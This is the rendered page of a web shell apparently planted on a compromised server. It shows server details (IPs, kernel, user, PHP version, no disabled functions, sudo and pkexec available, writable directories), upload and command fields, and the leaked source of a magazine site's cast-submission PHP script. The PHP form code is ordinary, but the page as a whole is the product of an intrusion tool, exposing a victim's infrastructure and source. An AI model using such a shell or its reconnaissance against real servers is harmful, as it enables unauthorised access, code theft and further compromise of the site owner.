403Webshell
Server IP : 172.67.201.108  /  Your IP : 216.73.216.11
Web Server : Apache/2.4.68 (Amazon Linux) OpenSSL/3.5.5
System : Linux ip-172-31-69-123.ec2.internal 6.1.176-223.369.amzn2023.x86_64 #1 SMP PREEMPT_DYNAMIC Fri Jul 24 13:34:27 UTC 2026 x86_64
User : ec2-user ( 1000)
PHP Version : 8.4.23
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/banners/domains/stagemag/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/banners/domains/stagemag/submit-cast.php
<?php
/**
 * submit-cast.php -- Submit / edit cast or creative team entries
 * Converted from submit-cast.php
 */
require_once __DIR__ . '/functions.php';
init_session();

$programid = (int)($_GET['programid'] ?? 0);
if (!$programid) { exit; }

setcookie('folderme2', '/upload13/' . $programid . '/', 0, '/', 'stagemag.broadwayworld.com');

include __DIR__ . '/registerheader.php';
set_time_limit(600);

$typer = (int)($_GET['typer'] ?? 1);

$stmtProd = db_write()->prepare(
    "SELECT productionname, makenosocial FROM stagemag.productions WHERE id = :pid"
);
$stmtProd->execute([':pid' => $programid]);
$getprod = $stmtProd->fetch();
if (!$getprod) { exit; }
?>
<div id="content">
  <div id="content-header">
    <h2>&nbsp;Submit <?= $typer == 1 ? 'Cast' : 'Creative Team' ?> for <?= htmlspecialchars($getprod['productionname']) ?></h2>
  </div>
  <div class="container-fluid">

<?php
/* ── Save an edit ── */
if (isset($_GET['editsaveclient']) && isset($_POST['name'])) {
    $editId = (int)$_GET['editsaveclient'];
    $instagram = $_POST['instagram'] ?? '';
    $twitter   = $_POST['twitter'] ?? '';

    $upd = db_write()->prepare(
        "UPDATE stagemag.cast
         SET name = :name, role = :role, bio = :bio, typer = :typer, instagram = :ig, twitter = :tw
         WHERE id = :id"
    );
    $upd->execute([
        ':name'  => $_POST['name'],
        ':role'  => $_POST['role'] ?? '',
        ':bio'   => $_POST['titlepage'] ?? '',
        ':typer' => $typer,
        ':ig'    => $instagram,
        ':tw'    => $twitter,
        ':id'    => $editId,
    ]);

    // Handle photo upload
    $imagepath = '/home/banners/domains/stagemag/temp/';
    if (!empty($_FILES['photo']['name'])) {
        $uploadExt = validate_image_upload($_FILES['photo']);
        if ($uploadExt === null) {
            echo '<h3>Invalid image. You must upload a JPEG, PNG, or WEBP file.<p><a href="javascript:history.back()">Go back</a></h3>';
            exit;
        }

        $uuid = bin2hex(random_bytes(16));
        $photo = $uuid . '.jpg';
        $tmpFile = $imagepath . $photo;

        if (!move_uploaded_file($_FILES['photo']['tmp_name'], $tmpFile)) {
            echo '<h3>Upload failed. <a href="javascript:history.back()">Go back</a></h3>';
            exit;
        }

        // Resize to 300px wide
        graphicsmagick('ResizeWidth', $tmpFile, $imagepath . 'nd' . $photo, ['width' => 300, 'quality' => 100]);

        // Upload original and thumbnail to S3
        s3_upload($tmpFile, 'stagemag/' . $photo);
        s3_upload($imagepath . 'nd' . $photo, 'stagemag/nd' . $photo);

        // Cleanup
        @unlink($tmpFile);
        @unlink($imagepath . 'nd' . $photo);

        $updPhoto = db_write()->prepare(
            "UPDATE stagemag.cast SET headshot = :photo WHERE id = :id"
        );
        $updPhoto->execute([':photo' => $photo, ':id' => $editId]);
    }

    echo 'Thank you, your submission has been recieved!';
    exit;
}

/* ── Create new entry if editsaveclient in URL but no POST, or no editsaveclient at all ── */
if (!isset($_GET['editsaveclient']) || !isset($_POST['name'])) {
    $writer = db_write();

    $stmtOrd = $writer->prepare(
        "SELECT ordernum FROM stagemag.cast WHERE programid = :pid AND typer = :t ORDER BY ordernum DESC LIMIT 1"
    );
    $stmtOrd->execute([':pid' => $programid, ':t' => $typer]);
    $getordernum = $stmtOrd->fetch();
    $newordernum = $getordernum ? (int)$getordernum['ordernum'] + 1 : 1;

    $insNew = $writer->prepare(
        "INSERT INTO stagemag.cast (programid, ordernum, typer) VALUES (:pid, :ord, :t)"
    );
    $insNew->execute([':pid' => $programid, ':ord' => $newordernum, ':t' => $typer]);

    $getblast = ['id' => (int)$writer->lastInsertId()];
}

$editId = (int)($_GET['edit'] ?? ($getblast['id'] ?? 0));

$stmtEntry = db_read()->prepare(
    "SELECT * FROM stagemag.cast WHERE programid = :pid AND id = :eid"
);
$stmtEntry->execute([':pid' => $programid, ':eid' => $editId]);
$geter = $stmtEntry->fetch();
if (!$geter) { $geter = ['name'=>'','role'=>'','headshot'=>'','bio'=>'','twitter'=>'','instagram'=>'']; }
?>

<?php if (!empty($geter['headshot'])): ?>
    <img src="https://cloudimages.broadwayworld.com/stagemag/nd<?= htmlspecialchars($geter['headshot']) ?>" style='max-height:100px;float:left;'>
<?php endif; ?>

<form action="submit-cast.php?editsaveclient=<?= $editId ?>&programid=<?= $programid ?>&typer=<?= $typer ?>" method="post" enctype="multipart/form-data">

<table style="max-width:600px;"><tr><td style="width: 50%;vertical-align: top;">
<div class="form-group">

<label class="col-md-12" style="margin-top: 10px;">Name</label>
<div class="col-md-12">
<input name="name" style="width:500px" required type="text" class="form-control" value="<?= htmlspecialchars($geter['name']) ?>">
</div>

<label class="col-md-12" style="margin-top: 10px;"><?= $typer == 1 ? 'Role' : 'Position' ?></label>
<div class="col-md-12">
<input name="role" style="width:500px" type="text" class="form-control" value="<?= htmlspecialchars($geter['role']) ?>">
</div>

<label class="col-md-12" style="margin-top: 10px;">Headshot (Recommended 1000 pixels wide)</label>
<div class="col-md-12">
    <input type="file" name="photo">
</div>

<label class="col-md-12" style="margin-top: 10px;">Bio</label>
<div class="col-md-12">
    <textarea id="myarea12" name="titlepage" style="width:600px;height:300px;" required><?= htmlspecialchars($geter['bio']) ?></textarea>

    <script src="/ckeditor0512z2/ckeditor.js" charset="utf-8"></script>
    <script type="text/javascript" src="/ckfinder2025/ckfinder.js" charset="utf-8"></script>


<script type="text/javascript">
CKEDITOR.on('dialogDefinition', function(ev) {
    var dialogName = ev.data.name;
    var dialogDefinition = ev.data.definition;
    if (dialogName == 'link') {
        var targetTab = dialogDefinition.getContents('target');
        var targetDropdown = targetTab.get('linkTargetType');
        targetDropdown.default = '_blank';
    }
});
CKFinder.setupCKEditor(editor, '/ckfinder34/');
var editor = CKEDITOR.replace('myarea12', { height: '500px' });
editor.on('instanceReady', function() { console.log(editor.filter.allowedContent); });
</script>

<?php if (($getprod['makenosocial'] ?? 0) == 0): ?>
<label class="col-md-12" style="margin-top: 10px;">X.com</label>
<div class="col-md-12">
<input name="twitter" style="width:500px" type="text" class="form-control" value="<?= htmlspecialchars($geter['twitter'] ?? '') ?>">
</div>

<label class="col-md-12" style="margin-top: 10px;">Instagram</label>
<div class="col-md-12">
<input name="instagram" style="width:500px" type="text" class="form-control" value="<?= htmlspecialchars($geter['instagram'] ?? '') ?>">
</div>
<?php endif; ?>

</div>
</div>

 <center>
  <br>
 <input type="submit" value="Save" name="buttadminman" id="cdh_buttadminman" class="btn btn-danger btn-large" style="font:bold 18px;color:white">
 </center>
<br>
</form>

<!--Footer-part-->
<br><br><br><br>

<?php include __DIR__ . '/footer.php'; ?>

Youez - 2016 - github.com/yon3zu
LinuXploit